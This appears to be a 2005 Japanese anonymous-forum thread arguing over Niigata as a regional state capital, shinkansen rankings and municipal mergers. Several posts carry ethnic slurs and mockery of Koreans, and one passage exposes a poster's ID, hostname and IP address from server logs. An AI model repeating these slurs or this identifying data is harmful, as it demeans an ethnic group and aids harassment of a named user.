★新潟市が北信越州都にふさわしいと思う人の数2→

引き続いて、北信越州都新潟市について語ろう。

誰かが 3 のレスを立ててくれたみたいだが、先にこのレスを消化してから書きましょう。

３

様様様様

新潟市を州都にする場合は、
新潟県・群馬県・長野県・富山県＋山形県庄内
で一つの州にしないと割が合わないと思うが…。

>5
北信越でいくと富山は東日本になるのか?
逆に、東海でいくと静岡は西日本になるのか?

給料日前で飢えて死にそうです。
財布を広げても150ウォンしかありません。
150ウォンでは何も買えないのです。

新潟で食べ物を得るには、闇市で目の玉の飛び出るような価格の闇物資を買うか、
欠配ばかりで当てにならない配給に並ぶしかありません。
そのわずかな配給さえも三国人たちが優先で、わたしたちには回ってきません。

主婦は着物や結婚指輪、時計などを持って、農家へ買出しに行きますが、
しがない会社員のわたしには、物々交換の物さえありません。

今日は会社帰りに信濃川の土手へ野草を採りに行きましたが、すでに採り尽されていて何も得られませんでした。
肩を落としての帰り道、闇市の米やうどんを売る三国人の闇屋が、束になった10000ウォンの札を誇らしげに数えていました。
刹那殺意を覚えましたが、違法な武器で武装しているであろう三国人に勝てるはずもないであろうと、殺意を鎮めました。

私が最後にのっぺを食べたのは、二ヶ月も前のことです。
白米に至っては、ここ半年間、一度も食べてないのです。

　　　　　　　　　　　　　　　　　　　　　　　　　　――給料日前の新潟人の証言より

南魚あたりまでは許せますが下越は東北ですので いりません。イメージダウンに繋がります。

北信越とか中国の州都って
なんで規模が３ランクほど下がっちまうのかな・・

確かに北信越州都は新潟でいいと思うが
他地方の州都に比べてしょぼすぎ。

札幌仙台名古屋福岡＞＞＞＞＞＞＞＞＞＞広島＞＞新潟

>>6
東海北陸以東が東日本、関西以西が西日本だよ。
それでも福井県と三重県東紀州＋和歌山県東端部・飛地あたりは微妙だが…。

>10
静岡は
NTT西日本
JRは東海、東日本
電力は50Hz60Hz混合
高校野球など東日本
ｲﾝｽﾀﾝﾄ麺は東日本
スーパー競馬放送
大手広告代理店は東日本

富山は
NTT西日本
JRは西日本
電力は60Hz
高校野球など東日本
ｲﾝｽﾀﾝﾄ麺は西日本
ドリーム競馬放送
大手広告代理店は東日本だが
これが金沢だと全て西日本になる
新潟にとって北陸と同じ州はやっぱり無理? 静信越より違和感ありかも?

>>11
国政の絶対的根幹となる選挙区は北陸信越ブロック
http://www.city.yokohama.jp/me/senkan/tosho/map.html

これを超える結びつきは他には存在しない。

新潟県・富山県・石川県・福井県嶺北は北陸州で州都は富山市。
福井県嶺南は関西側の州へ、長野県は東海側の州へか独自州になる。

よって新潟市は北陸州の副州都止まりでしょう。

>11
国政を成り立たせているのは民間企業、個人の税金ではないか?
各県民ﾚﾍﾞﾙでの意識はどこに指向しているか無視出来ない。
金沢以西は新潟より近く規模の大きい都市が複数ある。 金沢新潟間約330Km
金沢大阪間約266Km
よく民間企業で金沢が京都管内にブロック分けされている。
金沢に行くと新潟長岡ナンバーは見たことはないが大阪京都神戸姫路ナンバーなどをよく目にする。 富山ではあまりみないが。

http://travel2.2ch.net/test/read.cgi/chiri/1103818926/

１０００達成おめでとう。

前スレ名古屋在住新潟人だが、
新潟は州都になる可能性は大いにあると思うし個人的にはなって欲しいと思ってる。
が東北、東海、中国の他の州都候補地と比べて決定的に無いものがある。
それは街の求心力であり、他の地域から地理、気候的ハンディを克服して人を呼び込むような魅力。
それが何かと言うと箱物ではなく、豊富な雇用や魅力、特色ある学校だと思う。
今日の日報の1面の県の12月の人口を見て欲しい。これをみて新潟の人は何も思わなかったのだろうか？
危機感を持っていないのだろうか？
何故新潟市に来ずに県を出ていったのか？
また新潟を出ていった人間が偉そうにって叩かれそうだが、
今新潟にいる人達が他の地域から人を呼び込む様な街造りをして行かなければ、まずいのでは？
合併で政令都市になり、それだけで州都になれると思ってるのなら甘いのでは？
州都の座を確実な物にするには､政令市になるのと同時にさらに街に魅力を加える事が必要だと思う。
前にも書いたけど、俺は新潟が好きで何れ帰ってくるつもり。
叩かれるのを承知で書いてみた｡

新潟県と富山県東部で越中後州で州都は長岡市で良いと思う。
富山西部と金沢市と白山市と能登で加越能州で州都は高岡市で良いと思う。
加賀南部から福井県は滋賀県に合併されるべきだと思う。
州都は滋賀県民が決めたところだろう。

>今日の日報の1面の県の12月の人口を見て欲しい。

前月比-997人減だが、それほど大騒ぎするほどのことだろうか？
全国的に見て新潟県だけが人口減なわけじゃない。騒ぎすぎ。
新潟市が政令指定都市になれば自然に県人口は増える。

＞新潟市が政令指定都市になれば自然に県人口は増える。

ﾜﾛﾀｗ!!!
ﾆｮｲ汚の妄想乙!!!ｗｗｗ

>>16
新潟は今後大きく発展する、発展すべき都市であり、日本海側初の政令市として、
頑張って欲しい。国の主要都市の地域的なバランスからいっても丁度良い。
これから先１０年〜１５年がその都市基盤を築く時期ではないでしょうか。

妄想は程々にｗ
人口激減じゃ無理です。もっと頑張りませうねｗｗｗ

○△○新潟県人口の推移○△○

Ｈ16.10　　　2,448,025人

Ｈ16.12　　　2,446,857人


　　　　　　　　-1168人

新潟はブラックホール

>>16
どうやら私の思い違いがあったと見える。
その点はお詫びしたい。

君が言う通り、まず新潟県全体が危機感を持つべきだろう。
地球上の人口が既に６０億を超えやがて７０億に迫る今日、我が日本は、少子高齢化と言う世界とは逆行する道を突き進んでいる。
人口減は新潟県に限らず全国的な事であるが、ゆうちょうな事は言っていられない。
何らかの方策を講じる必要がある。

御指摘の通り、「魅力ある街」として新潟市を再生させる必要がある。
尚、人口減の時代とは言え、宮城県のように躍進している県もある。
県庁所在地の仙台市に大きな活力があるからだと思う。
県の発展は、やはり県庁所在地の発展と密接な関係がある様に思えてならない。
この事からも、新潟市には大いに頑張って欲しいものがある。

君は見られないかも知れないが明日３日、午前９時２０分からＮＳＴ新潟総合テレビで「新・新潟市座談会」の放送がある。
篠田市長も出演との事だ。その場で市長が、どんなビジョンを提言するかを見たいと思う。

今後の故郷の更なる発展を願いたいものだ。

７８万都市誕生まであと８１日
http://www.city.niigata.niigata.jp/
平成17年１月２日 / 第1975号
http://www.city.niigata.niigata.jp/sihou/2005/050102/index.html

５０万県都・松山市が誕生　砥部、内子、鬼北でも開庁式　
http://www.ehime-np.co.jp/newsflash/news20050101513.html
　
四国初の５０万人都市となる松山市をはじめ、県内では１日、
市町村合併により新しい伊予郡砥部町、喜多郡内子町、北宇和
郡鬼北町の１市３町が発足し、各地で開庁式などが開かれた。

(・∀・)ｲｲ!よ まつやま。

○△○新潟県人口の推移○△○

Ｈ16.10　　　2,448,025人

Ｈ16.12　　　2,446,857人


　　　　　　　　-1168人

７８万都市誕生まであと７７日
http://www.city.niigata.niigata.jp/
平成17年１月２日 / 第1975号
http://www.city.niigata.niigata.jp/sihou/2005/050102/index.html

>>24
今日の新潟総合テレビの新・新潟市の座談会でも、出演者が確かに「県庁所在地の発展が県の発展に繋がる」と言っていた。

新・新潟市の発展には重要な意義がある事がわかる。

新潟交通興業(株)〜特別清算開始決定
業　　種　　不動産の賃貸、管理
所 在 地　　新潟県新潟市幸西3-5-30
登 記 上　　新潟県新潟市万代1-6-1
設　　立　　昭和34年7月
清 算 人 小黒俊彦
資 本 金　　3000万円
負債総額　　約95億6000万円

　平成16年11月16日に新潟地裁へ特別清算を申請、翌17日に同地裁より特別清算開
始決定を受けた。新潟交通(株)(東証2部上場)のグループ会社として設立。
　経営難に陥っている親会社による「新潟交通グループ再生新3カ年計画」に基づ
き、今年9月に当社が手がけていた不動産事業などをグループ企業の(株)万代開発
(新潟市)に集約するとともに、同月9日の臨時株主総会で当社の解散を決議してい
た。負債は、新潟交通からの借入金の約95億6000万円。

新潟交通は落ちぶれたな〜　どこまで落ちていくんだ？？？

さぁ…

都道府県の場合、標準財政規模の5%以上の赤字を計上した場合財政再建団体になる。
これは地方財政再建促進特別措置法に基づくもので、地方自治体の破産と言える。
その地方自治体は総務大臣の許可を得ない限り原則として地方債の発行が出来ず、首長は総務大臣に「財政再建計画書」を提出しなければならない。

国はそれを厳しくチェックし、自治体の財政は国の厳しい管理下に置かれることになる。
独自事業が廃止されたり歳出削減の具体的な指示を受けたりし、実質的に地方の自治権が制限される。

財政再建団体に転落した場合、公共事業、住民サービス、県職員の給与すべてについて過酷な歳出削減が行われる事になる。

建設的な計画はすべてストップをかけられる可能性が高い。
現状維持どころか縮小均衡へ身を削いでいく事になるだろう。
何よりも自分たちで物事を決めることができないのだから、屈辱的でひたすら忍耐を強いられるものとなろう。

だから、どの地方自治体も財政再建団体になるのを避けようと必死の努力をする。
税収回復のための手段を講じる時間が残っていると考えていたが、新潟県に残された時間はあまりないようだ。

2005年1月7日(金)
新潟市と巻町が法定協設置届け出(18:53)

　人口８１万人の「大」新潟市誕生に向け、最終的な協議に入る。３月２１日に周辺１２市町村と合併することが決まっている新潟市。その新潟市と
巻町が、新たに法律に基づく合併協議会を設置することを知事に届け出た。
　新潟市の篠田市長と巻町の田辺町長は県庁を訪れ、泉田知事に法律に基づく合併協議会の設置を届け出た。篠田市長は、「今月末にも、巻町を含め
た区割りのパターンを新潟市民に提示したい。」と意欲を示した。泉田知事は、「日本海側の核として、しっかりした地域づくりができるよう、県として努力したい。」と
後押しする姿勢を示している。
　新潟市は３月２１日に、白根市や亀田町など周辺の１２市町村と合併することが決まっていて、人口７８万人になる。これに巻町が加われば、岩室村との飛び地が解消され、
人口も８１万人になる。
　新潟市と巻町の合併の時期は「２００５年度の早い段階で、合併の方法は編入合併」と合意していて、今年中にも８１万人の新潟市が誕生することになりそうだ。

http://www.teny.co.jp/news/2005/01/07.html

これ本当？

新潟県中越地震の余波　北越銀行・大光銀行の合併説急浮上
http://biz.yahoo.co.jp/column/company/ent/041221/r/041221_biz01.html

>>35
俺としては、第四銀行と北越銀行が合併してくれると有り難い。

蓮野Ｉ・Ｃ〜運転免許センター間の道路には「第四銀行と北越銀行」が同じ敷地に仲良く立っている事だし。

ともに長岡を基盤にする北越・大光じゃ合併効果がでないだろ。
第四と大光なら、補完関係になる。

がんばろう半島

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　　川川∴ﾟ∵∴）д（∴ﾟ）〜ﾟ　　 ＼　得意は、税金ドロボー＆ゲリ便です。
　。川川∵∴ﾟ∵∴〜・%〜｡　　　　　　金沢・富山・福井・群馬・福島も相手にしてくれないし
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ま、うなみてなもうぞのかすはえんぞのはたでじみちょしてればいいがんだｗｗ
こんげとこしゃしゃりでてくるもんでね・・ぶんざいかんげえれ、かすおじｗ
すっつあわきのあまげがんではごうさらしいわれろんが・・
ま〜おやのまきがしりてくらいのもんらの〜。ぼぼらっけしょうがねか・・
やいや、おもったよかばっかうけてしもたいや・・しょしらてばの〜。
だ〜ろもあちさんのわるぐちわの〜いわんねこてさ。
そんげこきったねこんじょらっけだめなんだがの・・おめさん。

新潟人だけど州都は富山でいいよ。　４１みたいなバカがいる新潟より高偏差値の富山か、議論が得意で理知的な長野、あるいは文化ある金沢でいいよ。新潟は、一歩下がって、もっとお勉強したほうがいいよ。

新潟市内は消えたな

★新潟市が北信越州都にふさわしいと思う人の数3〜5→

は削除されたみたいです。

まず、このスレを消化しましょう。

とうとう携帯を識別できるようになりましたねぇ

Q.携帯からの書込みはわかるんですか？
A.IDが出る板に限り、識別できるようになりました。


今、ばしばし変更中のようですので、
全板反映には時間がかかるかもです

失笑です
金沢にストーカー呼ばわりされました
失笑です
好きな言葉は「北信越」です。
失笑です
金沢に将軍様の苗字がついているのが許せません
失笑です
ブリーフ派ですが失禁してしまうとぬれるのではけません。
失笑です
もう新潟青陵大学はあきらめました
失笑です
弟に泣かされました
失笑です
この前ｷﾑｷム鳴いて町を歩いてたら右翼の人に殴られました。
失笑です
街ｂで金沢をストーキングしてたら一発でバレました。
失笑です
手持ちのウォンが使えません

失笑です、失笑です、失笑です、、、、

巻町含め新区割り　新潟市
--------------------------------------------------------------------------------

　合併により日本海側初の政令指定都市を目指す新潟市は１７日、指定市移行後に設置する行政区について、新しい五つの区割り案を公表した。３０日〜来月２５日
に２回目の意見募集を行い、３月２１日の合併後に設置される行政区画審議会の議論に反映する方針だ。
　区割り案は、新潟市と周辺１２市町村の職員らでつくる「合併連絡会議分権研究部会」が前回示されたＡ、Ｂ、Ｃの３パターンに寄せられた意見も参考に作った。

　巻町との法定協が今月７日に設置されたのを受け、五つの案はいずれも巻町を７区に含めた区割り案となっている。

　前回のＡ、Ｂ、Ｃ案で校区が分断されていた新潟市沼垂、江南、青山、五十嵐の各小学校区については「校区が分断さ
れないようにすべきだ」との意見が多数あったことから、新区割り案は校区の境界を区切り線としている。

　追加されたＤ案は、１次の意見募集で最も賛成が多かったＢ案を基本に、生活圏が新潟市域と一体化している石山地区を２区にまとめ、
横越、亀田両町から分離した。同じくＥ案は、Ｃ案をベースに白根市と生活圏が一体化している味方村をのぞき、西蒲原郡を一つの区にし、Ｃ案の２区、３区を２区とした。

　ただ、Ｄ、Ｅ案では、２区の人口が２５万人を超える一方、Ｄの４区、Ｅの７区が６万人台となるため、市議会の政令指定都市調査特別委では「格差が大きく問題ではないか」などの意見があり、議論を呼びそうだ。

　市は、市役所などで区割り案の閲覧を受け付ける。市報でも広報し、住民説明会を開き意見を募る。巻町も含めた１３市町村でも同様に意見が募集される。
http://mytown.asahi.com/niigata/news02.asp?kiji=6942

新潟市区割り　新たに２案　
--------------------------------------------------------------------------------

巻町参加、通学区域で前３案も修正
　新潟市は十七日、市議会の政令指定都市調査特別委員会で、政令市移行後の区割り案を新た
に二案（Ｄ、Ｅ案）示した。すでに示した三案（Ａ、Ｂ、Ｃ案）も、小学校の通学区域を分断しない形に修正した。巻町との法定合併協議会が設置されたため、五案とも巻町を含んでいる。
　五案は、十四市町村を七区に分けた。Ｄ案はＢ案を、Ｅ案はＣ案をそれぞれ基本にしている。

　Ａ、Ｂ、Ｃ案を提示後、市が住民から意見を募ったところ、「小学校区が分断
されないように区割りすべき」「西蒲原郡を割らないで欲しい」
など多数の意見が寄せられ、市はこれらの意見を踏まえ、案を修正・追加した。

　市は今月下旬から二月二十五日まで再び意見を募り、四月に学識経験者らによる「行政区画審議会」を発足させ、本格的に議論する。

バカじゃねーの、新潟人。お前らホントに吐き気するよ。
北信越は異常に執着するくせに東北州のスレは速攻削除か。
もうホントに吐き気する。反吐が出る。

>>49
新潟人だがその様な事は知らない。
ほかの人では？

ｓ

出張に便利な東京に戻る最終出発時間
http://www15.ocn.ne.jp/~b-trip/

名古屋　　22:10
長野駅　　21:40
新潟駅　　21:27
仙台駅　　21:24
大阪駅　　21:00
博多駅　　20:59
札幌駅　　20:45
盛岡駅　　20:39
岡山駅　　20:07
広島駅　　19:30
青森駅　　19:30

−−−国境−−−

金沢駅　　19:00
ソウル 　　18:45

越後湯沢　22：20分
新白河　　22：25分
三島　　　22：45分


−−−国境−−−
新潟　21：27分ｗｗｗｗｗｗｗ

>>53
無理して国境を変えるとは

在来線最終（東京　上野）

いわき　20：30分（上野行き）
高崎　　23：20分（上野行き）
　宇都宮　23：20分（上野行き）
熱海　　22：45分（東京行き）

−−−国境−−−

新潟　　　直通在来線なしｗｗｗｗｗｗｗｗｗｗｗｗｗ

新幹線のないクソ田舎民の嫉妬
北陸新幹線は富山まで、金沢までは財政難で延伸されません

長野・富山・金沢・福井は新幹線の大阪延伸に一致団結しています。
支線新幹線に成り下がる上越新幹線など敵ではありません。
新幹線がなくても健闘してきた北陸にさらなるウェポンが備わるのです。

>>56
北陸新幹線にびびる新潟人必死だなｗ
誰かすれ立てないかな
【凋落】北陸新幹線にびびる新潟人【上越は支線】

>>57
大阪まではきつそうじゃない？
大阪までのびたら名特急雷鳥も
なくなるんだろうか。

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>>58
北陸新幹線車両は　金沢＝長野間は長野新幹線の延長線路を走る。
長野＝高崎間は長野新幹線の線路を走る。
高崎＝大宮間は上越新幹線の線路を走る。
そして大宮＝東京間は東北新幹線の線路を走る。

確かに、上越新幹線は東北新幹線の支線だ。
しかし北陸新幹線は上越新幹線の支線の更に延長線路だ。

東北新幹線から見れば支線の支線の更に延長線路だ。

>>61
更に、かつての富山、金沢方面の在来線特急列車は、
東京・上野＝＝大宮間は東北本線の線路を走っていた。

北陸新幹線が本線だみたいな書き込みを東北から見てると、全くもってちゃんちゃらおかしく見える。

>>61
それまでは確かに上越が使っていたかもしれない。
しかし北陸が開通したら北陸メインの線路となる。
北陸新幹線の線路から支線の上越に行っているのだ。

つまり
現在　本線東北　支線上越
北陸新幹線開通後　東北と北陸が本線
上越は2つの区間の支線であるわけだ。

>>63
＞上越は2つの区間の支線であるわけだ。

正しい。
しかし東北は無関係。
大宮までの超短区間を共有してるに過ぎない。

結論は上越新幹線は北陸新幹線の支線に成り下がる。
つまり日本海側・北信越の大動脈・幹線として北陸新幹線が中心となる。

私は基本的にはですね，新潟駅から少しでも北の方へ新幹線の利用を伸ばしていかないと，
今後，北陸新幹線ができると，そういう状況になった時に，上越新幹線が日本で初めての
ローカル新幹線になるという恐れ，これは笑い話では済まない部分が出てくると思います。
http://www.city.niigata.niigata.jp/info/kouiki/gappei/setsumeikai/20031031_minami.html

拠点化という点では北陸新幹線が開通する２０１０年には上越新幹線が北へ延びないと
ローカル新幹線になって金沢に負けてしまう心配があります。
http://www.y693.com/y693/topics/kouen_040913/houkoku.html

佐藤ケン新潟市議

新潟の人だけの新幹線になるわけで、需要はあるのか？
あっても上越新幹線２、３時間に一本で十分。つーか、そうなる。
あと予想されるのは、上越新幹線では東京に行けなくなる。
高崎駅発着になる可能性（JR関係者から聞きました）東京行くのに北陸新幹線に乗り換えるようになる。
これは新幹線のローカル線化だけではなく新潟自体のローカル化。
企業も日本海側の拠点として考えるのならば東京との交通アクセスがいいほうがいい。
政令都市構想の「企業が新潟に進出」→「雇用の場の拡大」の式算が。あと新潟出張も減るわな。
http://nn-n.jp/nnn/mag/satoken/0408.html

>>63
上越新幹線線路は、東北新幹線線路の両脇に付属している。
つまり本線は支線に挟まれたとなる。

長野新幹線線路は、上越新幹線線路の両側面に小枝のようにへばりついている。
北陸新幹線車両はこの小枝を走る。
本線の上越新幹線はど真ん中を堂々と走る。

この形態は不動だ。

長野県民は太平洋側を見てるから北信越はないんじゃない？

下越人よ、悪あがきはヤメレ。
下越市長も含め、政財界は支線に成り下がることを認めておる。

上越新幹線は北陸新幹線の支線になる。
沿線人口が違いすぎる。

>>64
共有ではない。
開業順からして、東北新幹線は昭和57年6月で最も古い。
埼玉県伊那町の我が国初の新幹線分岐点を最初に走行したのは東北新幹線車両だ。

それに線籍上からして、東京＝＝大宮間は東北新幹線だ。
新幹線線路名の根源となる在来線は、東京＝＝大宮間は東北本線だ。

東北本線と、北陸本線のどちらの格が上か、よく考えれば結論は明らか。
「東北本線」だ。

よって、北陸新幹線は東北新幹線線路におんぶしている存在である事を自覚しなくてはならない。

東北新幹線を軽く見るとは、北陸新幹線も困ったものだ。

　★北陸新幹線：沿線人口【５００万人】１０万都市【８都市】県庁【４】

(東京…高崎)〜軽井沢〜上田〜長野〜上越〜富山〜高岡〜金沢〜小松〜福井〜南越〜敦賀…(京都大阪)

　★上越新幹線：沿線人口【２５０万人】１０万都市【２都市】県庁【１】

(東京…高崎)〜越後湯沢〜長岡〜燕三条〜新潟…(鶴岡酒田)　←ｗｗｗ

>>71
東北新幹線沿線人口

東京〜青森間は
何千万人かな？

>>70
いや違います。
つーか線路を共有してるとかどうでもいい話やめましょう。

北陸新幹線は上越新幹線を軽くみてるだけです。
東北新幹線は格上の幹線だと自覚しておりますよ。
ただしそっちが札幌までつながるなら、こっちも大阪までつながるし、
東京、大阪の両方に使えるしかなりの幹線ですよ。

東北新幹線≧北陸新幹線＞＞＞＞＞＞＞＞＞＞＞＞＞＞上越新幹線

という感じで正しいと思います。

>>72
だから東北はどうでもいいって。
しかも北陸の場合は
大宮、高崎、新潟、長野、北陸−関西、中京
という面も将来可能であるということをお忘れなく。

>>73
東北新幹線≧北陸新幹線
の訳がないだろ？

国鉄時代から東京＝大宮間は、在来線は東北本線であり、
新幹線も東北新幹線である事は絶対的事実。

北陸新幹線は小生意気な新幹線にすぎない。

>>73
北陸新幹線開業後のＪＲの時刻表を見ても、運行列車数は圧倒的に東北新幹線が多いに決まっている事は誰もが予測できる。

　。　　。ﾟ　。。。　。ﾟ.。
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　。　川｜川／ﾟ∴ﾟ＼ b〜　　ﾌﾟｩ〜ﾝ
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　　川川‖∵∴ﾟ｡3∵ﾟヽ〜。　＜　　　ﾎﾄ 劣等農民キム汚デス。
　　川川∴ﾟ∵∴）д（∴ﾟ）〜ﾟ　　 ＼　得意は、公衆便所宿泊＆ゴミ漁りです。
　。川川∵∴ﾟ∵∴〜・%〜｡　　　　　　新潟・富山・福井・群馬・福島も相手にしてくれないし
　　川川‖∵∴ﾟ〜∵/。　　　　　　　　長野県の皆さん、何か物ください！
　川川川川∴∵∴‰U 　 　:
　U　〆∵ﾟ‥｡ ﾟoﾟ o＼＿　。　
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　｜o∵o｡∵∴｡o∵ﾟ∴｜

>>75
あんたがなんでその部分にこだわるのか意味不明…
北陸新幹線が大阪までつながれば東北新幹線を越える大幹線になる可能性はある。
日本の２大都市を結ぶ２つ目の新幹線として重要な地位になるだろう。
将来的には北陸新幹線＞東北新幹線も可能だ。

>>76
だから大阪までつながった場合と言っているだろうが。
大阪までつながれば本数も激増する。
北関東−大阪とか新たな需要も生まれる。

http://travel2.2ch.net/test/read.cgi/chiri/1106144943/l50
【金沢か？】　　ﾎﾄ　金 男　　【保土ヶ谷か？】
1 名前：名無しの歩き方＠お腹いっぱい。 05/01/19 23:29:03 ID:98mxfAHz
語ろうがいねぇ？



2 名前：名無しの歩き方＠お腹いっぱい。 ：05/01/19 23:32:48 ID:y+l9m2YK
>>1
乙

本日のキム汚の ID　　DegkFUkq

新潟スレ潜伏中

まあ東北本線とかいう奴は
北陸新幹線が大阪までつながった折には
ショック死するだろうからのさばらせとけ。
東北新幹線を軽んじてるわけでもないのに何で絡んでくるかね。
最初は北陸新幹線開通にびびる新潟人と思ったけどちがってるぽいしな。

大体東京から札幌までとか現実的な時間じゃないし。
鹿児島から新幹線で大阪まで出てくるとかそういう感覚。

クソ田舎

>>78
大体、北陸新幹線沿線に仙台市クラスの100万都市があるか？
並行在来線も完全な形では存続できないだろうし。
東北本線は完全にＪＲ線として存在している。

これを見れば北陸新幹線など取るに足らぬ。

参考になるキーワードはこれです。

ニョイ汚、ニョイ、ﾆｮｲﾆｮｲ、尿意、下痢便、便意、尿意潟、

>>83
それしかいえないだろ、お前は。
仙台以外は北陸以下だろ。
大体、仙台＋札幌（ｗ）＜大阪

>>85
山陽・東海道・東北新幹線は太平洋ベルト地帯の新幹線だ。
北陸新幹線とは格が違う。

>>86
ちょっと待て。
東北は太平洋ベルトじゃないぞ。
http://ja.wikipedia.org/wiki/%E4%BA%AC%E8%91%89%E5%B7%A5%E6%A5%AD%E5%9C%B0%E5%9F%9F
↑ほかにもぐぐって調べればわかるが関東〜福岡までだぞ。

新潟で「水木しげる展」が開催されています。
北信越での開催は新潟市だけです。

おじゃまします
福島は太平洋ベルト地帯です

>>89
南関東までだよ。
まあ捏造・妄想は勝手だけど。

>>90
てか太平洋ベルト地帯って何が凄いんだろうなぁ
関東地図見てそう思える
北関東は２・３、４ページにまたがって市街地を形成してて
すげーなぁって思えるけど
愛知でも豊田の方はこじんまりとしてんね
地図1ページにも町が満たない
半ページっくらい、残りは一面が山
幻滅したよ

製造品出荷額等

愛知 1 34,336,112 愛媛 25 3,467,093
神奈川 2 21,727,608 富山 26 3,458,884
大阪 3 18,019,711 大分 27 3,087,459
東京 4 17,959,034 山形 28 2,964,891
静岡 5 16,610,776 熊本 29 2,816,965
埼玉 6 14,474,033 山梨 30 2,630,077
兵庫 7 14,069,990 石川 31 2,497,580
千葉 8 11,457,331 岩手 32 2,453,958
茨城 9 10,735,973 奈良 33 2,418,298
三重 10 8,093,683 和歌山 34 2,265,357
群馬 11 8,024,947 香川 35 2,145,909
栃木 12 7,664,629 鹿児島 36 2,014,546
福岡 13 7,367,880 福井 37 1,974,347
広島 14 7,217,674 秋田 38 1,707,029
長野 15 7,016,823 佐賀 39 1,610,911
滋賀 16 6,396,402 長崎 40 1,537,118
岡山 17 6,369,501 徳島 41 1,505,213
北海道 18 5,917,173 青森 42 1,374,170
京都 19 5,885,790 宮崎 43 1,319,192
福島 20 5,708,716 島根 44 1,226,257
岐阜 21 5,085,773 鳥取 45 1,200,276
山口 22 4,838,040 沖縄 46 646,466
太平洋ベルト地帯の壁
新潟 23 4,671,167 高知 47 641,725
宮城 24 3,865,118 全国計 　 300,477,604

でもなぁ、上越新幹線と北陸新幹線の話題で盛り上がってるけど、コレを重要視しすぎると、
場合によっては、新潟＆長野＆群馬の３県が合併して、交通の要衝度から見て、州都は高崎
っていうコースもあり得るのだが。

でもなぁ 下越が東北だからなぁ〜

いいえ下越は新潟です

北陸新幹線は東北新幹線の子分の新幹線だ

北陸新幹線は東北新幹線に依存した補助的な新幹線だ

北陸よりも東北が発展している事は、一目瞭然だ。

どうしても「しもえつ」と読んでしまう。

>>96-97-98

そういうのやめない？

下越は東北

新潟市民が必死だな

pointが消えたら静かになったなｗ

あとはホド汚のみ。

>>1...............................................................................................................................................................................................................................
>>1...............................................................................................................................................................................................................................
>>1......こ...ん...に...ち...は...、...ニ...ョ...イ...汚...ス...レ...常...時...総...揚...げ...プ...ロ...ジ...ェ...ク...ト...で...す...（...笑...）........
>>1...............................................................................................................................................................................................................................
>>1.....................................参考になるキーワードはこれです。 ...........................................................................................................
>>1...............................................................................................................................................................................................................................
>>1..................................................ニョイ汚、ニョイ、ﾆｮｲﾆｮｲ、尿意、下痢便、便意、尿意潟、 ............................................
>>1...............................................................................................................................................................................................................................

名無しの歩き方＠お腹いっぱい。<><>05/01/19 22:24:24 DegkFUkq<>From：ｑ <br> <br> 「新潟市内<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 22:29:17 DegkFUkq<>From：ｑ <br> <br> 「新潟市内<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 22:34:10 DegkFUkq<>From：ｑ <br> <br> 「新潟市内<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:00:09 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:08:48 DegkFUkq<>下越人よ、悪あがきはヤメレ。 <<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:14:40 DegkFUkq<> <br> 　★北陸新幹線：沿線人口<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:18:38 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:20:40 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:27:37 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:29:18 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>

ageといてやるよ。新潟市内のワンマンショーはまだか？

　l.　　,'　　i ___,,iレ'´l|. l　}!/　 //ﾚ　/|,! ﾘ !　 ,! /
　 !　 ｉ　　 |　 i !|　/! l'　/ｲ ／　弋ﾌ~厂/' ／'/　　　　　　　　　　　にいがた〜だよぅ
　 l | i|!.　　!　ｌ.!_ﾚっ´厂　´　　　　｀¨, , 'イ､ｲ'′
　　ll |lﾊ　　', ｌ|＾ｰ-‐'　　　　　　　　　　　 jィl　　　　　　　ニョイニョ〜イだよぅ
.　. | !|　ヽ.r‐v　　' '　 　 　 ｒ―1　 　 　 / .|l
　 . |l |　　.{´(ゝ_　　　　　　 l.　 j　　　,.ｲ!　‖
. 　 |. |　　l lー‐‐　.__　　　　ヽ_'_,. ィl　 ｌ!.　 |　　 　　 　　　　　メ ／ )｀) ) 　　クソ田舎〜だよぅ
　　.l　| 　 !ﾊ　　 ヽl ､}｀￣￣　| ｌ!　ｌ|　 |　　|　　　 　　　　　メ ／／／／ﾉ
　　l!　|　〃|.ヽ　　 ヽヽ　 　 　 !_l!　l|　 |. 　 l　　 　　　　 メ ／ノ )´｀´／彡 ニョイニョ〜イだよぅ
　 　　 ! /,r''´:.l ヽ.　 ', iー---‐'' ＞―‐- ､　! 　　　　　 　／　　 ﾉゝ　/ 　　　oﾟﾟ　ﾍﾟﾀﾍﾟﾀ･･･
　　　　 く:...:...:...!　',　 ｉ l｀￣￣'´:...:...:...:...:...:.ヽl　　 　　　／|　､_,,ｨ '__／_,..--‐‐‐‐‐-...,_

アク禁解除が早すぎるよ。

新潟以外ありえんやろ

新潟は関東州の州都は狙わんのか？ｗ

>>110
関東で州都はむりだろう。

「牛後となるよりも鶏頭となれ」と言うことわざがある。

牛（大きいもの＝関東）
鶏（小さいもの＝北信越）

新潟は北信越州都として地道にやって行く事が身分相応であろう。

>>111
というか北信越
って長野や福井はまったくメリットがないから
抜けるだろ。

新潟市にもメリットないと思う。

>>113
ほかに有力な都市がないから
州都になれると考えるのが多いと思われる

新潟市州都に賛成する県は無いと思うよ。

>>115
そりゃそうだ。
北陸からも長野からも遠いからな。

この板の新潟市州都論者の主張は政府主体ってのが前提。

仮に北信越州が成立しても
州都は長野〜高岡間の北陸新幹線沿線の分散型。
でも北信越州は無理と思うよ。

>>117
個人的には高岡。
というか金沢も沿線だろ。

まあ俺も無理だと思う。

